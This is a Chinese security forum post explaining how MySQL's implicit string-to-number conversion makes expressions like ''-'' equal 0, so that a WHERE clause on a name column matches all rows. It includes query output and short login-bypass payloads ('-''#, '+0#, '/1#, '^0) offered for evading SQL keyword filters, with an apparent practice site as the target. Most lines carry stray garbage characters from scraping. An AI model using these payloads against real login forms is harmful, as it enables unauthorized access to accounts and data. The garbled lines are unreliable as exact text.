找回密码
 立即注册
查看: 2398|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
) {: a! C1 c( u; E" ?" G1 S, p# v) P有以下表结构:
% F) u0 E# V, J7 F4 e& L' g1 A" z8 L5 C% ~2 F8 p8 z1 f
mysql> desc admin;3 @0 H9 i# t1 J* Z, W
+----------+--------------+------+-----+---------+----------------++ v5 v. F' ]7 u  t, U( n* n0 Y
| Field    | Type         | Null | Key | Default | Extra          |
4 G- w0 o! x1 R3 q+----------+--------------+------+-----+---------+----------------+) F$ O  V" {' O$ t
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
3 m  y& X3 j9 j; F  f4 k| name     | char(32)     | NO   | UNI | NULL    |                |
# S: s# M+ d. p% j( w) e| password | char(32)     | NO   | UNI | NULL    |                |2 s; ^9 l* W$ d8 T2 F
+----------+--------------+------+-----+---------+----------------+
8 i1 I' E: F" j. }5 I3 rows in set (0.00 sec)
- S& e$ H/ P6 X- d/ j' S% M3 g执行select * from admin;,成功返回所有记录内容。2 \# p. Q( [" b0 P
2 q1 j. k$ Q* u2 w- `$ U" v
# J+ w; E) F  V* c7 t* F
+----+--------+----------------------------------+! A8 X4 h. {5 L2 p2 B: {! \+ r/ `
| id | name   | password                         |
: @* H* Z# C# L: n/ s% m+----+--------+----------------------------------+
  ^6 m; o4 L& j" Q) p|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
5 I6 m/ A0 W  S2 p0 {|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |1 D% |' }9 ~( a; c
|  4 | n00b   | ff80e8508d39047460921792273533a4 |# `* x  w, b  |- }, w
+----+--------+----------------------------------+
( C5 w. h; z* Y. h3 rows in set (0.00 sec)
# s- B+ x1 r1 O0 B* C2 V2 D$ k! f执行select * from admin where name=”;,没有匹配到任何记录。
, }; }" @7 M+ }2 J( X# Z6 D' z
, U7 c5 f' s, n2 F+ U1 t4 emysql> select * from admin where name = '';1 |- W; S+ I- n7 |
Empty set (0.00 sec), Y8 K# D' ?( n3 H1 j
那么我们来执行select * from admin where name = ”-”;& s. P) W, V' l! F* j0 X

/ V* I2 j; {# D/ ~( w8 l4 n( m
/ \3 C; O& `" F5 z" K( v+----+--------+----------------------------------+! M1 \6 p  a8 }# h. w/ P6 y( o
| id | name   | password                         |. |0 t2 |" Q- t/ {' d( W$ \* p
+----+--------+----------------------------------+
) H+ k: q$ t" u9 f$ @7 R2 O|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |- J# c9 P$ |& W6 h3 p- M, x
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
/ U$ n5 Q. F6 F1 }* L6 K|  4 | n00b   | ff80e8508d39047460921792273533a4 |
/ O  V; m) z5 I+----+--------+----------------------------------+# C; o6 X2 \& x; R
3 rows in set, 3 warnings (0.00 sec)
7 D8 s- g8 n  b( H+ N7 `: V! N可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: - W# E& O9 c# N
9 R# u# U+ Q) {! Z
mysql> show warnings;
) e" K- V5 ?: N/ N+---------+------+------------------------------------------
; [( b$ u/ N1 H% w9 p: m0 `8 x2 F| Level   | Code | Message
. B+ j% k; o3 B# n6 v3 x+---------+------+------------------------------------------
) _9 G4 T% ~' Z, x, T| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
& I+ {* s& R0 D+ G- W1 ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
" T7 y4 e9 g* S| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
2 _3 w' v$ }$ t2 z. o+---------+------+------------------------------------------
9 R8 M& a8 _2 C: f3 rows in set (0.00 sec)1 i. G5 |9 H7 B9 R2 E
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
1 d7 |+ J1 |8 g' X8 v% Q( f. |$ K* @- ?/ w
mysql> select ''-'';+ C7 {' k  M2 Q
+-------+7 j! H5 M( @! y" e# h0 u' \3 e$ p
| ''-'' |
! Z. r. u: G. y+-------+
; I+ C% A/ P7 I) O2 S|     0 |  @. V" D, P6 t: H: t
+-------+
& `+ ?! j5 F! ?6 `5 `8 P1 row in set (0.00 sec)
; c' {4 s8 z4 `+ n# }9 \7 C返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
! O0 Y7 i6 B9 S: c7 U8 K- v$ Z8 k8 ^5 w
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);) G1 f% M- e2 ?
+-----------------------------------------------------+
5 {; b& n4 ?1 [, z9 F| CAST((select name from admin limit 1,1) as DECIMAL) |/ N5 }2 p0 p9 v2 B
+-----------------------------------------------------+
1 [- M- P. {5 B$ l! e& B5 m|                                                   0 |: x, X9 a$ `7 B6 o) F
+-----------------------------------------------------+
1 \4 j0 q+ ]1 y! s$ z/ R" |1 row in set, 1 warning (0.00 sec)
, H4 T$ Q. Q# x" Z7 |因此where语句构成了相等的条件,where 0=”=”,记录被返回。 1 I! Y3 C1 y9 Z5 ]5 \  }
& F! ?5 C' Y2 B0 N0 v
SQL注入场景: http://www.sqlzoo.net/hack/ / o* ^/ F. ~) w0 B& \% v$ @% W' k

- Y! e: `! d; X2 q' H
$ o2 {$ _' p- B/ E/ x( }1 h  s0 j4 G  ]+ C3 ~$ @( ?& y
! R! s  X7 ]7 h& a
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ( Q* _: G  g$ [. a* [
5 C0 F4 h  L5 p: v, D# E" `$ ~
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 5 j) X( K1 w- `$ |( o0 w4 j
' K. j9 `, a7 i7 E
; F* i+ L/ r8 ]9 t2 S" N
: L. r; \( z" {& Y  ?- [- F! B6 q

1 ~  E3 J. v7 @; E7 O2 c) f仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ) D9 C0 l" F5 j2 F- a" B1 K

8 Q! G3 k' M; [6 q$ m- A  w   
* c9 J, p: S& {) k1 h: Q  U! e6 }+ X7 ~  ?6 q
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可& b% b" h% f2 |" P  T

( u9 j1 ?9 \3 ]: ^/ S1 f3 d( c2 Y1 G6 C1 d1 W$ ~
mysql> select ''/1;  b( l3 M! G! R. e7 X. F7 j% [
+------+; P4 n1 |- ]  ~1 L/ B# ^
| ''/1 |
3 N4 S3 h' O, g+------+, F  j# |- e+ @- l( k
|    0 |0 @* o, i# \' _
+------+1 E; I  \5 \/ I$ H# ]; u% A5 Y
1 row in set (0.00 sec)3 C  W& y- V% w
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  7 e) }3 j7 c% {

1 ~( Z5 R( W7 I) H0 p利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
! f2 ~  D6 D6 P; H6 i8 z2 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表